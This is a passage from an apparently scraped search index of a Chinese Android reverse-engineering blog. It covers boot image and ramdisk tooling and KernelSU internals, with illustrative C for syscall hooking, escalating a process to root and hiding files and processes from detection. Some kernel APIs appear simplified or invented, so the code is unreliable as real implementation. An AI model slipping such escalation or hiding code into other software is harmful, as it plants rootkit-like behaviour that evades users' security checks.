修改内核 (编译时集成) │ │ ───────────────────────────────── │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ 原始 Kernel │ ───► │ KernelSU Kernel │ ← 编译时集成 │ │ └─────────────────┘ └─────────────────┘ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Ramdisk │ │ Ramdisk │ (保持不变) │ │ └─────────────────┘ └─────────────────┘ │ │ │ │ │ │ 方式二: LKM 加载 (GKI 设备) │ │ ───────────────────────────────── │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ GKI Kernel │ │ GKI Kernel │ (保持不变) │ │ └─────────────────┘ └─────────────────┘ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ Ramdisk │ ───► │ Ramdisk │ │ │ │ │ │ + kernelsu.ko │ ← 添加内核模块 │ │ │ │ │ + 加载脚本 │ │ │ └─────────────────┘ └─────────────────┘ │ │ │ │ 启动时加载 kernelsu.ko 模块，无需修改内核本身 │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:6:2","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#62-kernelsu-修改方式"},{"categories":null,"collections":null,"content":"7. 实用工具与操作 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:7:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#7-实用工具与操作"},{"categories":null,"collections":null,"content":"7.1 提取 Boot Image # 方法一: 从设备提取 adb shell su -c \"dd if=/dev/block/by-name/boot of=/sdcard/boot.img\" adb pull /sdcard/boot.img # 方法二: 从 OTA 包提取 unzip ota.zip boot.img # 或使用 payload-dumper python payload_dumper.py payload.bin --out ./extracted/ ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:7:1","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#71-提取-boot-image"},{"categories":null,"collections":null,"content":"7.2 解包 Boot Image 使用 magiskboot (推荐): # 解包 ./magiskboot unpack boot.img # 生成的文件: # - kernel 内核 # - ramdisk.cpio ramdisk (压缩的) # - dtb 设备树 (如果有) # 解包 ramdisk ./magiskboot cpio ramdisk.cpio extract 使用 AIK (Android Image Kitchen): ./unpackimg.sh boot.img # 输出到 split_img/ 和 ramdisk/ 使用 mkbootimg 工具链: # 解包 unpack_bootimg --boot_img boot.img --out boot_unpacked/ # 查看 boot.img 信息 unpack_bootimg --boot_img boot.img --format mkbootimg ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:7:2","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#72-解包-boot-image"},{"categories":null,"collections":null,"content":"7.3 打包 Boot Image # 使用 magiskboot ./magiskboot repack boot.img new_boot.img # 使用 mkbootimg mkbootimg \\ --kernel kernel \\ --ramdisk ramdisk.cpio.gz \\ --cmdline \"...\" \\ --os_version 13.0.0 \\ --os_patch_level 2024-01 \\ --header_version 4 \\ -o new_boot.img ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:7:3","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#73-打包-boot-image"},{"categories":null,"collections":null,"content":"7.4 刷入 Boot Image # 进入 fastboot 模式 adb reboot bootloader # 刷入 boot 分区 fastboot flash boot new_boot.img # 对于 A/B 设备，可能需要指定槽位 fastboot flash boot_a new_boot.img # 重启 fastboot reboot ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:7:4","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#74-刷入-boot-image"},{"categories":null,"collections":null,"content":"7.5 修改 Ramdisk # 1. 解包 ramdisk mkdir ramdisk_dir cd ramdisk_dir gzip -dc ../ramdisk.cpio.gz | cpio -idmv # 2. 修改文件 # 例如修改 init.rc, default.prop 等 # 3. 重新打包 find . | cpio -o -H newc | gzip \u003e ../ramdisk.cpio.gz ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:7:5","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#75-修改-ramdisk"},{"categories":null,"collections":null,"content":"7.6 验证 Boot Image # 使用 avbtool 验证签名 (如果使用 AVB) avbtool verify_image --image boot.img # 查看 vbmeta 信息 avbtool info_image --image vbmeta.img ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:7:6","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#76-验证-boot-image"},{"categories":null,"collections":null,"content":"相关章节 KernelSU 使用指南 - 基于内核的 Root 方案 KernelSU 内部原理 - 内核模块实现 Magisk 与 LSPosed 原理 - 传统 Root 方案 AOSP 与系统定制 - 系统级修改 ","date":"2025-12-26","objectID":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/:8:0","tags":["Boot","Ramdisk","GKI","内核","Android","系统"],"title":"Boot Image、Ramdisk 与 GKI 详解","uri":"/reverse_engineering/android/04-reference/foundations/boot_image_and_gki/#相关章节"},{"categories":null,"collections":null,"content":"KernelSU 内部原理 深入分析 KernelSU 的内核级 root 实现机制，包括内核模块架构、权限提升原理、检测规避技术等核心内容。 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:0:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#kernelsu-内部原理"},{"categories":null,"collections":null,"content":"1. 架构总览 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:1:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#1-架构总览"},{"categories":null,"collections":null,"content":"1.1 整体架构图 ┌─────────────────────────────────────────────────────────────────────────────┐ │ KernelSU 技术架构 │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────────────────────────────────────────────────────────────┐ │ │ │ 用户空间 (User Space) │ │ │ │ │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ KernelSU │ │ Root │ │ 普通 │ │ │ │ │ │ Manager │ │ 应用 │ │ 应用 │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ └──────┬──────┘ └──────┬──────┘ └─────────────┘ │ │ │ │ │ │ │ │ │ │ │ Binder/ │ prctl() │ │ │ │ │ ioctl │ syscall │ │ │ │ ↓ ↓ │ │ │ └──────────┼──────────────────┼────────────────────────────────────────┘ │ │ │ │ │ │ ═══════════╪══════════════════╪═════════════════════════════════════════ │ │ │ System Call │ Interface │ │ ═══════════╪══════════════════╪═════════════════════════════════════════ │ │ │ │ │ │ ┌──────────┼──────────────────┼────────────────────────────────────────┐ │ │ │ ↓ ↓ 内核空间 (Kernel Space) │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ │ │ KernelSU 内核模块 │ │ │ │ │ │ │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ │ │ │ ksu_hook │ │ allowlist │ │ sucompat │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ - syscall │ │ - uid 管理 │ │ - su 二进制 │ │ │ │ │ │ │ hooking │ │ - 授权检查 │ │ 兼容层 │ │ │ │ │ │ │ - prctl │ │ - profile │ │ - Magisk │ │ │ │ │ │ │ handler │ │ 管理 │ │ API 兼容 │ │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ │ │ │ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │ │ │ │ │ module_fs │ │ selinux │ │ ksud │ │ │ │ │ │ │ │ │ patch │ │ daemon │ │ │ │ │ │ │ - overlayfs │ │ │ │ │ │ │ │ │ │ │ - mount │ │ - 策略修改 │ │ - 模块管理 │ │ │ │ │ │ │ 管理 │ │ - 权限控制 │ │ - 状态监控 │ │ │ │ │ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ │ │ Linux Kernel │ │ │ │ │ - task_struct 修改 │ │ │ │ │ - cred 结构体操作 │ │ │ │ │ - namespace 管理 │ │ │ │ └───────────────────────────────────────────────────────────────┘ │ │ └──────────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:1:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#11-整体架构图"},{"categories":null,"collections":null,"content":"1.2 核心组件 组件 功能 实现方式 ksu_hook 系统调用拦截 kprobe/ftrace allowlist 权限管理 内核数据结构 sucompat su 兼容层 进程伪装 module_fs 模块文件系统 overlayfs ksud 用户空间守护进程 native daemon ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:1:2","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#12-核心组件"},{"categories":null,"collections":null,"content":"2. 内核模块实现 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:2:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#2-内核模块实现"},{"categories":null,"collections":null,"content":"2.1 模块加载机制 KernelSU 可以通过两种方式集成到内核： 方式一：编译时集成 // kernel/ksu/core.c static int __init ksu_init(void) { int ret; pr_info(\"KernelSU version %d\\n\", KSU_VERSION); // 初始化 allowlist ret = ksu_allowlist_init(); if (ret) return ret; // 安装系统调用 hook ret = ksu_hook_init(); if (ret) goto err_hook; // 初始化 SELinux 补丁 ret = ksu_selinux_init(); if (ret) goto err_selinux; // 启动 ksud 通信 ret = ksu_ksud_init(); if (ret) goto err_ksud; pr_info(\"KernelSU initialized successfully\\n\"); return 0; err_ksud: ksu_selinux_exit(); err_selinux: ksu_hook_exit(); err_hook: ksu_allowlist_exit(); return ret; } core_initcall(ksu_init); 方式二：LKM 动态加载 (GKI 2.0+) // 作为可加载内核模块 static int __init ksu_module_init(void) { // 检查内核版本兼容性 if (!ksu_check_kernel_compat()) return -ENODEV; return ksu_init(); } static void __exit ksu_module_exit(void) { ksu_exit(); } module_init(ksu_module_init); module_exit(ksu_module_exit); MODULE_LICENSE(\"GPL\"); MODULE_AUTHOR(\"tiann\"); MODULE_DESCRIPTION(\"KernelSU - Kernel-based root solution\"); ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:2:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#21-模块加载机制"},{"categories":null,"collections":null,"content":"2.1 模块加载机制 KernelSU 可以通过两种方式集成到内核： 方式一：编译时集成 // kernel/ksu/core.c static int __init ksu_init(void) { int ret; pr_info(\"KernelSU version %d\\n\", KSU_VERSION); // 初始化 allowlist ret = ksu_allowlist_init(); if (ret) return ret; // 安装系统调用 hook ret = ksu_hook_init(); if (ret) goto err_hook; // 初始化 SELinux 补丁 ret = ksu_selinux_init(); if (ret) goto err_selinux; // 启动 ksud 通信 ret = ksu_ksud_init(); if (ret) goto err_ksud; pr_info(\"KernelSU initialized successfully\\n\"); return 0; err_ksud: ksu_selinux_exit(); err_selinux: ksu_hook_exit(); err_hook: ksu_allowlist_exit(); return ret; } core_initcall(ksu_init); 方式二：LKM 动态加载 (GKI 2.0+) // 作为可加载内核模块 static int __init ksu_module_init(void) { // 检查内核版本兼容性 if (!ksu_check_kernel_compat()) return -ENODEV; return ksu_init(); } static void __exit ksu_module_exit(void) { ksu_exit(); } module_init(ksu_module_init); module_exit(ksu_module_exit); MODULE_LICENSE(\"GPL\"); MODULE_AUTHOR(\"tiann\"); MODULE_DESCRIPTION(\"KernelSU - Kernel-based root solution\"); ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:2:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#方式一编译时集成"},{"categories":null,"collections":null,"content":"2.1 模块加载机制 KernelSU 可以通过两种方式集成到内核： 方式一：编译时集成 // kernel/ksu/core.c static int __init ksu_init(void) { int ret; pr_info(\"KernelSU version %d\\n\", KSU_VERSION); // 初始化 allowlist ret = ksu_allowlist_init(); if (ret) return ret; // 安装系统调用 hook ret = ksu_hook_init(); if (ret) goto err_hook; // 初始化 SELinux 补丁 ret = ksu_selinux_init(); if (ret) goto err_selinux; // 启动 ksud 通信 ret = ksu_ksud_init(); if (ret) goto err_ksud; pr_info(\"KernelSU initialized successfully\\n\"); return 0; err_ksud: ksu_selinux_exit(); err_selinux: ksu_hook_exit(); err_hook: ksu_allowlist_exit(); return ret; } core_initcall(ksu_init); 方式二：LKM 动态加载 (GKI 2.0+) // 作为可加载内核模块 static int __init ksu_module_init(void) { // 检查内核版本兼容性 if (!ksu_check_kernel_compat()) return -ENODEV; return ksu_init(); } static void __exit ksu_module_exit(void) { ksu_exit(); } module_init(ksu_module_init); module_exit(ksu_module_exit); MODULE_LICENSE(\"GPL\"); MODULE_AUTHOR(\"tiann\"); MODULE_DESCRIPTION(\"KernelSU - Kernel-based root solution\"); ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:2:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#方式二lkm-动态加载-gki-20"},{"categories":null,"collections":null,"content":"2.2 系统调用 Hook KernelSU 使用 kprobe 或 ftrace 来 hook 关键系统调用： // hook prctl 系统调用处理 root 请求 static int ksu_handle_prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { // KernelSU 魔数检查 if (option == KSU_PRCTL_MAGIC) { switch (arg2) { case CMD_GET_VERSION: return KSU_VERSION; case CMD_BECOME_ROOT: return ksu_become_root(current); case CMD_CHECK_ROOT: return ksu_is_allowed_uid(current_uid().val); case CMD_GET_ALLOW_LIST: return ksu_get_allowlist((void __user *)arg3, arg4); case CMD_SET_ALLOW_LIST: return ksu_set_allowlist((void __user *)arg3, arg4); } } return -ENOSYS; // 传递给原始 handler } // 使用 kprobe 安装 hook static struct kprobe kp_prctl = { .symbol_name = \"__arm64_sys_prctl\", .pre_handler = ksu_prctl_handler, }; ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:2:2","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#22-系统调用-hook"},{"categories":null,"collections":null,"content":"2.3 凭证修改 (Credential Modification) KernelSU 通过直接修改进程的 cred 结构体来提升权限： // kernel/ksu/core.c int ksu_become_root(struct task_struct *task) { struct cred *new_cred; struct ksu_profile *profile; // 检查是否在允许列表 if (!ksu_is_allowed(task)) return -EPERM; // 获取应用 profile profile = ksu_get_profile(task); // 准备新的凭证 new_cred = prepare_creds(); if (!new_cred) return -ENOMEM; // 设置 UID/GID 为 root new_cred-\u003euid = new_cred-\u003eeuid = new_cred-\u003esuid = new_cred-\u003efsuid = GLOBAL_ROOT_UID; new_cred-\u003egid = new_cred-\u003eegid = new_cred-\u003esgid = new_cred-\u003efsgid = GLOBAL_ROOT_GID; // 设置 capabilities if (profile \u0026\u0026 profile-\u003ecapabilities) { new_cred-\u003ecap_effective = profile-\u003ecap_effective; new_cred-\u003ecap_permitted = profile-\u003ecap_permitted; new_cred-\u003ecap_inheritable = profile-\u003ecap_inheritable; } else { // 默认给予所有 capabilities cap_set_full(new_cred-\u003ecap_effective); cap_set_full(new_cred-\u003ecap_permitted); cap_set_full(new_cred-\u003ecap_inheritable); } // 修改 SELinux 上下文 (如果配置了) if (profile \u0026\u0026 profile-\u003eselinux_context) { ksu_set_selinux_context(new_cred, profile-\u003eselinux_context); } // 提交凭证修改 return commit_creds(new_cred); } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:2:3","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#23-凭证修改-credential-modification"},{"categories":null,"collections":null,"content":"2.4 内核数据结构 // KernelSU 内部数据结构 // 允许列表条目 struct ksu_allow_entry { uid_t uid; // 应用 UID char package_name[256]; // 包名 struct ksu_profile *profile; // 应用配置 struct list_head list; // 链表节点 }; // 应用配置文件 struct ksu_profile { uid_t uid; gid_t gid; gid_t groups[32]; int groups_count; kernel_cap_t cap_effective; kernel_cap_t cap_permitted; kernel_cap_t cap_inheritable; char selinux_context[128]; struct { bool mount_namespace; bool pid_namespace; bool net_namespace; } namespace_flags; }; // 全局状态 struct ksu_state { bool initialized; int version; spinlock_t allowlist_lock; struct list_head allowlist; struct proc_dir_entry *proc_entry; struct dentry *debug_root; }; ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:2:4","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#24-内核数据结构"},{"categories":null,"collections":null,"content":"3. Root 授权机制 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:3:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#3-root-授权机制"},{"categories":null,"collections":null,"content":"3.1 授权流程 ┌─────────────────────────────────────────────────────────────────────────┐ │ KernelSU Root 授权流程 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 应用进程 KernelSU 内核模块 │ │ │ │ │ │ │ 1. prctl(KSU_MAGIC, │ │ │ │ CMD_BECOME_ROOT) │ │ │ │ ────────────────────────────\u003e│ │ │ │ │ │ │ │ │ 2. 获取 current task │ │ │ │ 检查 uid/package │ │ │ │ │ │ │ │ 3. 查询 allowlist │ │ │ │ ┌─────────────────────┐ │ │ │ │ │ uid: 10086 │ │ │ │ │ │ pkg: com.example │ │ │ │ │ │ profile: {...} │ │ │ │ │ └─────────────────────┘ │ │ │ │ │ │ │ │ 4. 验证通过? │ │ │ │ ├─ Yes: prepare_creds() │ │ │ │ │ commit_creds() │ │ │ │ │ │ │ │ │ └─ No: return -EPERM │ │ │ │ │ │ │ 5. 返回结果 │ │ │ │ \u003c────────────────────────────│ │ │ │ │ │ │ │ [成功后 uid=0, caps=full] │ │ │ ▼ ▼ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:3:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#31-授权流程"},{"categories":null,"collections":null,"content":"3.2 su 兼容实现 KernelSU 提供了与传统 su 命令兼容的接口： // kernel/ksu/sucompat.c // 当执行 /system/bin/su 时，内核会拦截并处理 static int ksu_su_handler(struct linux_binprm *bprm) { const char *filename = bprm-\u003efilename; // 检查是否是 su 调用 if (!ksu_is_su_path(filename)) return 0; // 不处理 // 检查调用者权限 if (!ksu_is_allowed(current)) { // 未授权，返回原始的 \"su: not found\" 行为 return -ENOENT; } // 提升权限 int ret = ksu_become_root(current); if (ret) return ret; // 执行请求的 shell const char *shell = ksu_get_shell(bprm); return ksu_exec_shell(shell, bprm); } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:3:2","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#32-su-兼容实现"},{"categories":null,"collections":null,"content":"3.3 用户空间 API 应用程序可以通过以下方式与 KernelSU 交互： // 用户空间代码示例 #include \u003csys/prctl.h\u003e #define KSU_PRCTL_MAGIC 0x4B535500 // \"KSU\\0\" #define CMD_GET_VERSION 0 #define CMD_BECOME_ROOT 1 #define CMD_CHECK_ROOT 2 // 检查 KernelSU 是否存在 int ksu_get_version(void) { return prctl(KSU_PRCTL_MAGIC, CMD_GET_VERSION, 0, 0, 0); } // 请求 root 权限 int ksu_become_root(void) { return prctl(KSU_PRCTL_MAGIC, CMD_BECOME_ROOT, 0, 0, 0); } // 检查是否有 root 权限 int ksu_check_root(void) { return prctl(KSU_PRCTL_MAGIC, CMD_CHECK_ROOT, 0, 0, 0); } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:3:3","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#33-用户空间-api"},{"categories":null,"collections":null,"content":"4. OverlayFS 模块系统 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:4:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#4-overlayfs-模块系统"},{"categories":null,"collections":null,"content":"4.1 模块存储结构 /data/adb/ ├── ksu/ │ ├── bin/ # KernelSU 工具 │ │ └── ksud # 守护进程 │ ├── profile/ # 应用配置文件 │ │ ├── com.example.json │ │ └── ... │ └── log/ # 日志文件 │ └── ksud.log ├── modules/ # 已安装模块 │ ├── module_id_1/ │ │ ├── module.prop │ │ ├── system/ # 要覆盖的系统文件 │ │ └── ... │ └── module_id_2/ └── modules_update/ # 待更新模块 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:4:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#41-模块存储结构"},{"categories":null,"collections":null,"content":"4.2 OverlayFS 实现 // kernel/ksu/module_fs.c static int ksu_mount_overlayfs(const char *module_path) { struct path lower, upper, work; struct ovl_fs_context ctx = { .redirect_mode = OVL_REDIRECT_ON, .index = true, }; // 设置 lower (只读层): 原始系统分区 kern_path(\"/system\", LOOKUP_DIRECTORY, \u0026lower); // 设置 upper (读写层): 模块修改 char upper_path[PATH_MAX]; snprintf(upper_path, sizeof(upper_path), \"%s/system\", module_path); kern_path(upper_path, LOOKUP_DIRECTORY, \u0026upper); // 设置 work 目录 char work_path[PATH_MAX]; snprintf(work_path, sizeof(work_path), \"%s/.work\", module_path); kern_path(work_path, LOOKUP_DIRECTORY, \u0026work); // 挂载 overlayfs return ovl_mount(\u0026ctx, \"/system\", \u0026lower, \u0026upper, \u0026work); } // 模块加载流程 int ksu_load_modules(void) { struct dir_context ctx; struct file *modules_dir; modules_dir = filp_open(\"/data/adb/modules\", O_RDONLY | O_DIRECTORY, 0); if (IS_ERR(modules_dir)) return PTR_ERR(modules_dir); // 遍历模块目录 iterate_dir(modules_dir, \u0026ctx); // 对每个模块应用 overlayfs list_for_each_entry(module, \u0026ksu_modules, list) { if (module-\u003eenabled) { ksu_mount_overlayfs(module-\u003epath); } } filp_close(modules_dir, NULL); return 0; } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:4:2","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#42-overlayfs-实现"},{"categories":null,"collections":null,"content":"4.3 Magisk 模块兼容 KernelSU 实现了对 Magisk 模块格式的兼容： // 解析 module.prop static int ksu_parse_module_prop(const char *path, struct ksu_module *module) { char buf[4096]; struct file *f; f = filp_open(path, O_RDONLY, 0); if (IS_ERR(f)) return PTR_ERR(f); kernel_read(f, buf, sizeof(buf), \u0026f-\u003ef_pos); filp_close(f, NULL); // 解析字段 ksu_parse_prop_field(buf, \"id\", module-\u003eid, sizeof(module-\u003eid)); ksu_parse_prop_field(buf, \"name\", module-\u003ename, sizeof(module-\u003ename)); ksu_parse_prop_field(buf, \"version\", module-\u003eversion, sizeof(module-\u003eversion)); ksu_parse_prop_field(buf, \"author\", module-\u003eauthor, sizeof(module-\u003eauthor)); return 0; } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:4:3","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#43-magisk-模块兼容"},{"categories":null,"collections":null,"content":"5. 隐蔽性设计 ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:5:0","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#5-隐蔽性设计"},{"categories":null,"collections":null,"content":"5.1 内核级隐藏优势 KernelSU 相比 Magisk 具有天然的隐蔽性优势： ┌─────────────────────────────────────────────────────────────────────────┐ │ 检测点对比 │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 检测方法 Magisk KernelSU │ │ ───────────────────────────────────────────────────────────────── │ │ │ │ /system/bin/su 存在伪装文件 不存在 (内核直接处理) │ │ magiskd 进程 存在 不存在 │ │ /data/adb/magisk 存在 不存在 │ │ boot.img 修改 ramdisk 修改 内核修改 │ │ 属性检测 ro.boot.vbmeta.* 无明显特征 │ │ SELinux 上下文 需要额外处理 内核直接设置 │ │ 挂载点检测 存在 magisk 挂载 仅 overlayfs │ │ 内存特征 用户空间可检测 难以从用户空间检测 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:5:1","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#51-内核级隐藏优势"},{"categories":null,"collections":null,"content":"5.2 隐藏策略实现 // kernel/ksu/hide.c // 对未授权进程隐藏 KernelSU 存在 static bool ksu_should_hide(struct task_struct *task) { // 1. 系统应用始终隐藏 if (ksu_is_system_uid(task_uid(task).val)) return true; // 2. 黑名单应用隐藏 if (ksu_is_blacklisted(task)) return true; // 3. 非授权应用隐藏 if (!ksu_is_allowed(task)) return true; return false; } // Hook open 系统调用，隐藏敏感文件 static int ksu_hide_open(struct file *file, const char __user *filename) { char path[PATH_MAX]; if (ksu_should_hide(current)) { if (strncpy_from_user(path, filename, PATH_MAX) \u003e 0) { // 隐藏 /data/adb/ksu 目录 if (strstr(path, \"/data/adb/ksu\")) return -ENOENT; // 隐藏 /proc/ksu 接口 if (strstr(path, \"/proc/ksu\")) return -ENOENT; } } return 0; // 允许正常访问 } // Hook stat 系统调用 static int ksu_hide_stat(const char __user *filename, struct stat *statbuf) { if (ksu_should_hide(current)) { // 对敏感路径返回 ENOENT if (ksu_is_sensitive_path(filename)) return -ENOENT; } return 0; } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:5:2","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#52-隐藏策略实现"},{"categories":null,"collections":null,"content":"5.3 进程隐藏 // 从 /proc 隐藏 ksud 进程 static int ksu_hide_proc_pid(struct task_struct *task, struct task_struct *target) { // 对黑名单应用隐藏 ksud if (ksu_should_hide(task)) { if (strcmp(target-\u003ecomm, \"ksud\") == 0) return -ENOENT; } return 0; } // Hook proc_pid_readdir static int ksu_proc_readdir_hook(struct file *file, struct dir_context *ctx) { // 过滤掉 ksud 的 PID // ... } ","date":"2025-12-26","objectID":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/:5:3","tags":["KernelSU","内核","Root","Android","LKM","高级"],"title":"KernelSU 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/kernelsu_internals/#53-进程隐藏"},{"categories":null,"collections":null,"content":"6. 与 Magisk 技术对比 